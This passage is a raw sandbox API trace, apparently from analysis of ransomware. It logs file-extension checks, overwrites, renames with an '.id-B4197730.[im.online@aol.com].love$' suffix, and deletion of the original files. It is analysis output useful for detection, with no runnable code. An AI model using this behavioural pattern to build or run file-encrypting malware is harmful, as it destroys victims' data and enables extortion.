lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.398] lstrlenW (lpString=".ppt") returned 4 [0229.398] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0229.398] lstrlenW (lpString=".zip") returned 4 [0229.398] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.398] lstrlenW (lpString=".rar") returned 4 [0229.398] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.398] lstrlenW (lpString=".bz2") returned 4 [0229.398] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.398] lstrlenW (lpString=".7z") returned 3 [0229.398] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0229.398] lstrlenW (lpString=".dbf") returned 4 [0229.398] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0230.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0230.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1 [0244.598] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[im.online@aol.com].love$")) returned 1 [0244.885] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0244.886] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc64 | out: lpNewFilePointer=0x0) returned 1 [0244.886] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc24 | out: lpNewFilePointer=0x0) returned 1 [0244.887] ReadFile (in: hFile=0x418, lpBuffer=0x3db8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc30, lpOverlapped=0x0 | out: lpBuffer=0x3db8058*, lpNumberOfBytesRead=0x35afc30*=0x40000, lpOverlapped=0x0) returned 1 [0244.890] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x35afc24 | out: lpNewFilePointer=0x0) returned 1 [0244.890] ReadFile (in: hFile=0x418, lpBuffer=0x3df8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc30, lpOverlapped=0x0 | out: lpBuffer=0x3df8058*, lpNumberOfBytesRead=0x35afc30*=0x40000, lpOverlapped=0x0) returned 1 [0244.897] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35afc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0244.897] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x35afc24 | out: lpNewFilePointer=0x0) returned 1 [0244.897] ReadFile (in: hFile=0x418, lpBuffer=0x3e38058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc30, lpOverlapped=0x0 | out: lpBuffer=0x3e38058*, lpNumberOfBytesRead=0x35afc30*=0x40000, lpOverlapped=0x0) returned 1 [0245.013] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0245.013] WriteFile (in: hFile=0x418, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x35afca8, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afca8*=0xc0102, lpOverlapped=0x0) returned 1 [0245.044] SetEndOfFile (hFile=0x418) returned 1 [0245.044] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40000) returned 0x4215da0 [0245.050] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc74 | out: lpNewFilePointer=0x0) returned 1 [0245.050] WriteFile (in: hFile=0x418, lpBuffer=0x4215da0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc80, lpOverlapped=0x0 | out: lpBuffer=0x4215da0*, lpNumberOfBytesWritten=0x35afc80*=0x40000, lpOverlapped=0x0) returned 1 [0245.052] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x35afc74 | out: lpNewFilePointer=0x0) returned 1 [0245.448] WriteFile (in: hFile=0x418, lpBuffer=0x4215da0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc80, lpOverlapped=0x0 | out: lpBuffer=0x4215da0*, lpNumberOfBytesWritten=0x35afc80*=0x40000, lpOverlapped=0x0) returned 1 [0245.454] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x35afc74 | out: lpNewFilePointer=0x0) returned 1 [0245.454] WriteFile (in: hFile=0x418, lpBuffer=0x4215da0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc80, lpOverlapped=0x0 | out: lpBuffer=0x4215da0*, lpNumberOfBytesWritten=0x35afc80*=0x40000, lpOverlapped=0x0) returned 1 [0245.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0245.461] CloseHandle (hObject=0x418) returned 1 [0245.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x21) returned 1 [0245.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0245.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0245.462] lstrlenW (lpString=".doc") returned 4 [0245.462] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0245.462] lstrlenW (lpString=".docx") returned 5 [0245.462] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0245.462] lstrlenW (lpString=".pdf") returned 4 [0245.462] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0245.462] lstrlenW (lpString=".xls") returned 4 [0245.462] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0245.462] lstrlenW (lpString=".xlsx") returned 5 [0245.462] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0245.462] lstrlenW (lpString=".ppt") returned 4 [0245.462] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0245.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0245.462] lstrlenW (lpString=".zip") returned 4 [0245.463] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0245.463] lstrlenW (lpString=".rar") returned 4 [0245.463] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0245.463] lstrlenW (lpString=".bz2") returned 4 [0245.463] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0245.463] lstrlenW (lpString=".7z") returned 3 [0245.463] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0245.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0245.463] lstrlenW (lpString=".dbf") returned 4 [0245.463] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0245.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0245.463] lstrlenW (lpString=".1cd") returned 4 [0245.463] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0245.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0245.463] lstrlenW (lpString=".jpg") returned 4 [0245.463] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0245.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0245.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0245.463] lstrlenW (lpString=".doc") returned 4 [0245.463] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0245.463] lstrlenW (lpString=".docx") returned 5 [0245.463] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0245.463] lstrlenW (lpString=".pdf") returned 4 [0245.463] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0245.463] lstrlenW (lpString=".xls") returned 4 [0245.463] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0245.464] lstrlenW (lpString=".xlsx") returned 5 [0245.464] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0245.464] lstrlenW (lpString=".ppt") returned 4 [0245.464] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0245.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0245.464] lstrlenW (lpString=".zip") returned 4 [0245.464] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0245.464] lstrlenW (lpString=".rar") returned 4 [0245.464] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0245.464] lstrlenW (lpString=".bz2") returned 4 [0245.464] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0245.464] lstrlenW (lpString=".7z") returned 3 [0245.464] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0245.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0245.464] lstrlenW (lpString=".dbf") returned 4 [0245.464] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0245.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0245.464] lstrlenW (lpString=".1cd") returned 4 [0245.464] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0245.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0245.464] lstrlenW (lpString=".jpg") returned 4 [0245.464] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0245.464] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0245.465] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0245.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0247.048] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=5843) returned 1 [0247.048] CloseHandle (hObject=0x450) returned 1 [0247.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 0x220 [0247.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0247.455] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.455] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0247.456] GetLastError () returned 0x0 [0247.456] ReadFile (in: hFile=0x544, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x16d3, lpOverlapped=0x0) returned 1 [0247.460] WriteFile (in: hFile=0x4ec, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x16e0, lpOverlapped=0x0) returned 1 [0247.461] ReadFile (in: hFile=0x544, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0247.461] WriteFile (in: hFile=0x4ec, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0xec, lpOverlapped=0x0) returned 1 [0247.461] SetEndOfFile (hFile=0x4ec) returned 1 [0247.461] CloseHandle (hObject=0x4ec) returned 1 [0247.461] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.461] SetEndOfFile (hFile=0x544) returned 1 [0247.464] CloseHandle (hObject=0x544) returned 1 [0247.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 1 [0247.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0247.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0247.466] lstrlenW (lpString=".doc") returned 4 [0247.466] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.466] lstrlenW (lpString=".docx") returned 5 [0247.466] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0247.466] lstrlenW (lpString=".pdf") returned 4 [0247.466] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.466] lstrlenW (lpString=".xls") returned 4 [0247.466] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.466] lstrlenW (lpString=".xlsx") returned 5 [0247.466] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.466] lstrlenW (lpString=".ppt") returned 4 [0247.466] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0247.466] lstrlenW (lpString=".zip") returned 4 [0247.466] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.466] lstrlenW (lpString=".rar") returned 4 [0247.466] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.466] lstrlenW (lpString=".bz2") returned 4 [0247.466] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.466] lstrlenW (lpString=".7z") returned 3 [0247.466] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0247.466] lstrlenW (lpString=".dbf") returned 4 [0247.466] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0247.466] lstrlenW (lpString=".1cd") returned 4 [0247.466] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0247.466] lstrlenW (lpString=".jpg") returned 4 [0247.467] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0247.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0247.467] lstrlenW (lpString=".doc") returned 4 [0247.467] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.467] lstrlenW (lpString=".docx") returned 5 [0247.467] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0247.467] lstrlenW (lpString=".pdf") returned 4 [0247.467] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.467] lstrlenW (lpString=".xls") returned 4 [0247.467] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.467] lstrlenW (lpString=".xlsx") returned 5 [0247.467] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.467] lstrlenW (lpString=".ppt") returned 4 [0247.467] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0247.467] lstrlenW (lpString=".zip") returned 4 [0247.467] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.467] lstrlenW (lpString=".rar") returned 4 [0247.467] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.467] lstrlenW (lpString=".bz2") returned 4 [0247.467] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.467] lstrlenW (lpString=".7z") returned 3 [0247.467] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0247.468] lstrlenW (lpString=".dbf") returned 4 [0247.468] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0247.468] lstrlenW (lpString=".1cd") returned 4 [0247.468] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0247.468] lstrlenW (lpString=".jpg") returned 4 [0247.468] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.468] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0247.468] lstrlenW (lpString="PARNT_03.MID") returned 12 [0247.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0247.469] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=8538) returned 1 [0247.469] CloseHandle (hObject=0x544) returned 1 [0247.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 0x220 [0247.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0247.470] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.470] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0247.471] GetLastError () returned 0x0 [0247.471] ReadFile (in: hFile=0x544, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x215a, lpOverlapped=0x0) returned 1 [0247.481] WriteFile (in: hFile=0x4ec, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2160, lpOverlapped=0x0) returned 1 [0247.482] ReadFile (in: hFile=0x544, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0247.482] WriteFile (in: hFile=0x4ec, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0xec, lpOverlapped=0x0) returned 1 [0247.482] SetEndOfFile (hFile=0x4ec) returned 1 [0247.489] CloseHandle (hObject=0x4ec) returned 1 [0247.490] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0247.490] SetEndOfFile (hFile=0x544) returned 1 [0247.529] CloseHandle (hObject=0x544) returned 1 [0247.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0248.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 1 [0248.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0248.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0248.363] lstrlenW (lpString=".doc") returned 4 [0248.363] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.363] lstrlenW (lpString=".docx") returned 5 [0248.363] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0248.363] lstrlenW (lpString=".pdf") returned 4 [0248.363] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.363] lstrlenW (lpString=".xls") returned 4 [0248.363] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.363] lstrlenW (lpString=".xlsx") returned 5 [0248.363] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0248.363] lstrlenW (lpString=".ppt") returned 4 [0248.363] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0248.363] lstrlenW (lpString=".zip") returned 4 [0248.363] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.363] lstrlenW (lpString=".rar") returned 4 [0248.363] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.363] lstrlenW (lpString=".bz2") returned 4 [0248.363] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.363] lstrlenW (lpString=".7z") returned 3 [0248.363] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0248.363] lstrlenW (lpString=".dbf") returned 4 [0248.363] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0248.363] lstrlenW (lpString=".1cd") returned 4 [0248.363] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0248.364] lstrlenW (lpString=".jpg") returned 4 [0248.364] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0248.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0248.364] lstrlenW (lpString=".doc") returned 4 [0248.364] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.364] lstrlenW (lpString=".docx") returned 5 [0248.364] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0248.364] lstrlenW (lpString=".pdf") returned 4 [0248.364] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.364] lstrlenW (lpString=".xls") returned 4 [0248.364] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.364] lstrlenW (lpString=".xlsx") returned 5 [0248.364] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0248.364] lstrlenW (lpString=".ppt") returned 4 [0248.364] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.364] lstrlenW (lpString="C:\\Program 